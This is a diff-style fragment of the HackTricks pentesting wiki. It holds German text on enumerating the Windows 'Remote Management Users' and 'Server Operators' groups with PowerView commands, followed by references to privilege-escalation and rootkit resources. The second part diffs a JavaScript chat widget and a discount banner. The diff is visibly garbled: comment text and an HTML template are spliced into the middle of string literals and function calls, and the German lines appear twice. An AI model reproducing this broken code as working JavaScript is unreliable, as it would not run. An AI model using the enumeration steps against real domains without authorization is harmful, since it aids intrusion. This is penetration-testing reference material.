Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen Pentesting-Ressourcen.
Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen pentesting-Ressourcen.
#### Remote Management Users
#### Remote-Management-Benutzer
Mitglieder können über **Windows Remote Management (WinRM)** auf PCs zugreifen. Die Auflistung dieser Mitglieder erfolgt durch:
Mitglieder können über **Windows Remote Management (WinRM)** auf PCs zugreifen. Die Aufzählung dieser Mitglieder erfolgt durch:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
Für Exploitationstechniken, die mit **WinRM** zusammenhängen, sollte spezifische Dokumentation konsultiert werden.
Für exploitation techniques im Zusammenhang mit **WinRM** sollte spezifische Dokumentation konsultiert werden.
#### Server Operators
Diese Gruppe hat Berechtigungen, um verschiedene Konfigurationen auf Domänencontrollern durchzuführen, einschließlich Backup- und Wiederherstellungsprivilegien, Ändern der Systemzeit und Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird der folgende Befehl bereitgestellt:
Diese Gruppe hat Berechtigungen, verschiedene Konfigurationen auf Domänencontrollern vorzunehmen, einschließlich Backup- und Restore-Rechten, dem Ändern der Systemzeit und dem Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird folgender Befehl verwendet:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## Referenzen <a href="#references" id="references"></a>
## Quellen <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => {
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return;
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) ---
const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits →
const MAX_W = 600;
const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => {
if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px";
};
const onUp = () => {
if (!dragging) return;
dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true;
startX = e.clientX;
startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp);
});
document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();